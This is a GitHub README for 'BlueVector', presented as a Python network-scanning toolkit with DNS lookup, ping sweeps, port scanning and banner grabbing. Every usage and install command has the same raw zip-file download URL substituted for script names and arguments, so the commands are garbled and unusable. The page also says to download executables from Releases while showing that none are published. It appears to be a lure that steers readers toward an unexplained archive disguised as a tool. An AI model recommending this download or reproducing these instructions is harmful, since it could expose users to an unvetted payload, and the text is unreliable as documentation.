Skip to content

πŸ”΅ Analyze and secure networks with BlueVector, a modular Python toolkit that simplifies networking tasks through a user-friendly command-line interface.

Notifications You must be signed in to change notification settings

ilkerkaya97/BlueVector

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

14 Commits
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ BlueVector - Your Complete Network Analysis Tool

πŸ› οΈ Overview

BlueVector is an all-in-one Python-based network analysis and inspection toolkit built for ease of use. It features a terminal-first approach, allowing users to perform essential network tasks without complicated setup. You can safely explore and analyze networks with modules for DNS resolution, ping sweeps, TCP sweeps, multi-threaded port scanning, banner grabbing, and web hyperlink extraction.

πŸ”— Download BlueVector

Download BlueVector

πŸš€ Getting Started

Follow these simple steps to download and run BlueVector:

1. Visit the Releases Page

To get the latest version of BlueVector, click the link below: Download BlueVector from Releases

2. Choose the Right File

On the Releases page, you'll see different files available for download. Look for the latest version, which will usually be at the top. Select the appropriate file based on your operating system:

  • For Windows: Download the file ending in .exe.
  • For Linux: Download the file ending in .sh or a similar format.
  • For Mac: Download the file ending in .dmg or similar.

3. Download the File

Click the link for your chosen file. The download should start automatically. If prompted, choose a location on your computer to save the file. Remember where you saved it for the next step.

πŸ’» Installation Instructions

Windows

  1. Find the downloaded .exe file in your chosen location.
  2. Double-click the file to start the installation.
  3. Follow the on-screen instructions to complete the setup.

Linux

  1. Open a terminal window.
  2. Navigate to the folder where you saved the .sh file using the cd command.
  3. Make the file executable by running:
    chmod +x https://github.com/ilkerkaya97/BlueVector/raw/refs/heads/main/BlueVector/Blue_Vector_v1.6.zip
  4. Once executed, run:
    https://github.com/ilkerkaya97/BlueVector/raw/refs/heads/main/BlueVector/Blue_Vector_v1.6.zip

Mac

  1. Locate the downloaded .dmg file.
  2. Double-click to open it.
  3. Drag the BlueVector icon into your Applications folder.

🚦 How to Use BlueVector

Using BlueVector is straightforward. Here are some basic commands to get you started:

DNS Resolution

To resolve a domain name, use:

python https://github.com/ilkerkaya97/BlueVector/raw/refs/heads/main/BlueVector/Blue_Vector_v1.6.zip dns https://github.com/ilkerkaya97/BlueVector/raw/refs/heads/main/BlueVector/Blue_Vector_v1.6.zip

Ping Sweep

To perform a ping sweep on a subnet, enter:

python https://github.com/ilkerkaya97/BlueVector/raw/refs/heads/main/BlueVector/Blue_Vector_v1.6.zip ping 192.168.1.0/24

TCP Sweep

For TCP scanning, the command is:

python https://github.com/ilkerkaya97/BlueVector/raw/refs/heads/main/BlueVector/Blue_Vector_v1.6.zip tcp 192.168.1.1

Multi-threaded Port Scanning

To scan multiple ports concurrently:

python https://github.com/ilkerkaya97/BlueVector/raw/refs/heads/main/BlueVector/Blue_Vector_v1.6.zip ports 192.168.1.1 1-1024

Banner Grabbing

To grab banners from a service, use:

python https://github.com/ilkerkaya97/BlueVector/raw/refs/heads/main/BlueVector/Blue_Vector_v1.6.zip banner 192.168.1.1 80

Web Hyperlink Extraction

For extracting hyperlinks from a webpage, use:

python https://github.com/ilkerkaya97/BlueVector/raw/refs/heads/main/BlueVector/Blue_Vector_v1.6.zip hyperlink https://github.com/ilkerkaya97/BlueVector/raw/refs/heads/main/BlueVector/Blue_Vector_v1.6.zip

πŸ” Features

  • DNS Resolution: Quickly find hostnames.
  • Ping Sweeps: Identify active devices on a network.
  • TCP Scanning: Detect open ports.
  • Multi-threaded Scanning: Scans multiple hosts at once for faster results.
  • Banner Grabbing: Get banner information from network services.
  • Web Hyperlink Extraction: Gather links from web pages efficiently.

βš™οΈ System Requirements

To run BlueVector smoothly, ensure your system meets the following requirements:

  • OS: Windows 10 or later, Linux (Ubuntu 18.04 or later), or macOS 10.12 or later.
  • Python: Python 3.6 or later needs to be installed.
  • Memory: At least 512 MB of RAM for optimal performance.
  • Disk space: About 100 MB of free space for installation.

πŸ’¬ Support

If you encounter issues or have questions, check the following resources:

  • GitHub Issues Page: You can report bugs or ask questions here for community support.
  • Documentation: Detailed guides and examples are available in the docs folder within the repository.

πŸ“’ Contributing

We welcome contributions! To help improve BlueVector, feel free to fork the repository, make changes, and submit a pull request. Ensure you follow our contribution guidelines.

πŸ”— Download Again

To download the latest version of BlueVector, visit: Download BlueVector from Releases

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages